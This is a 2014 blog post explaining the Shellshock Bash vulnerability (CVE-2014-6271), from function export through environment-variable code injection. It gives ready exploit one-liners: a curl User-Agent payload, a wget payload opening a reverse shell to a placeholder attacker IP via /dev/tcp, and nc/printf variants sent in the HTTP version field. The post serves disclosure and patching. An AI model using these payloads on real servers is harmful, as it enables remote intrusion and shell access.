Exploiting BASH Remote Code Execution Vulnerability (CVE-2014-6271)

On September 24, 2014, posted by hernan



A very serious vulnerability in GNU Bash, the common command-line shell available in Unix/Linux and OS X machines, which allows remote attackers to execute arbitrary code on affected servers and devices was made public today (see CVE-2014-6271).

Bash allows exporting functions to child processes. For example:

File test.sh:

#!/bin/bash
myfunc() { echo "this is me!"; }
export -f myfunc
./test2.sh


File test2.sh:

#!/bin/bash
myfunc

In the example above, the script 'test.sh' exports the function 'myfunc', and then calls 'test2.sh' which uses that function:

$ ./test.sh
this is me!
$

Bash passes the function definition to the child process/script using an environment variable named after the function, in this case 'myfunc'. If we modify the script test2.sh adding a call to 'printenv' we will observe this behavior:

File test2.sh:

#!/bin/bash
myfunc
printenv


$ ./test.sh
this is me!
SHELL=/bin/bash
TERM=xterm-256color
(..)
myfunc=() { echo "this is me!"
}
_=/usr/bin/printenv
$

Knowing this, we can re-write test.sh to pass the function 'manually':

File test.sh:

#!/bin/bash
export myfunc="() { echo 'this is a me!';}"
./test2.sh


And the result is the same as before:

$ ./test.sh
this is me!
SHELL=/bin/bash
TERM=xterm-256color
(..)
myfunc=() { echo "this is me!"
}
_=/usr/bin/printenv
$

Of course, if the script test2.sh no longer calls the function 'myfunc' the function is not executed:

File test2.sh:

#!/bin/bash
#myfunc
#printenv


$ ./test.sh
$

The vulnerability found is that Bash keeps processing data encountered after the function definition and executes it as code, and this allows attackers to execute arbitrary code. See the next example:

File test.sh:

#!/bin/bash
export myfunc="() { echo 'this is a me!';};/usr/bin/id"
./test2.sh


$ ./test.sh
uid=501(user) gid=20(staff) groups=20(staff),501(access_bpf),12(everyone),61(localaccounts),79(_appserverusr)
,80(admin),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator),204
(_developer),398(com.apple.access_screensharing),399(com.apple.access_ssh)
./test.sh: line 7: 1037 Segmentation fault: 11 ./test2.sh
$


Oops!... /usr/bin/id was executed... even when the script test2.sh actually has no code in it (we commented out all code before)...

Basically.. by setting an environment variable we were able to execute coden in the child process/script...

There are many attack vectors for this vulnerability including local and remote scenarios. The most obvious vector and one of the most dangerous ones has to do with web servers and CGI scripts.

Any web server running CGI scripts using Bash can be trivially exploited right now giving attackers the ability to execute arbitrary code remotely.

When the web server runs a CGI script it sets many environment variables with values obtained from the HTTP request, this means an attacker can inject arbitrary data in the environment received by the CGI script allowing them to perform this attack.

For example, web servers take the value of the 'User-Agent' HTTP header specified in the request and set the variable 'HTTP_USER_AGENT' with its value.

Because of this, an attacker can trivially exploit this vulnerability with the following command:

$ curl -H "User-Agent: () { test;};/usr/bin/touch /tmp/VULNERABLE" yourserver.com/cgi-bin/ascript 

An attacker can easily obtain a remote shell with the following command:

$ wget -U "() { test;};/bin/bash -i >& /dev/tcp/attacker's_ip/9090 0>&1" victim.com/cgi-bin/ascript

It is even possible to send the exploit payload as the HTTP version (e.g.: HTTP/1.1) of a HTTP request. The web server sets the SERVER_PROTOCOL environment variable with that value. For example:

$ nc victim.com 80
GET /cgi-bin/ascript () { test;};/usr/bin/touch /tmp/VULNERABLE

Or use the following one-liner:

$ printf "GET /cgi-bin/ampliatest () { test;};/usr/bin/touch /tmp/VULNERABLE\n\n"|nc yourserver 80

As you can see, this is a very very serious issue.

This does not only affect CGI scripts using Bash, it can also affect PHP, Ruby, Perl, Java and other scripts calling functions that ultimately call '/bin/bash' or that call '/bin/bash' explicitly (as long as the CGI interface is being used or as long as the environment is populated with data obtained from the HTTP request).

There are many other potential attack vectors including FTP servers, mail servers and even DHCP clients. This issue not only affects servers exposed to the Internet but also client machines and embedded devices like home routers.

We have developed an exploit to test for the issue, which you can see next:



It is very important to immediately apply all patches available and put in place IDS/IPS signatures to stop attack attempts.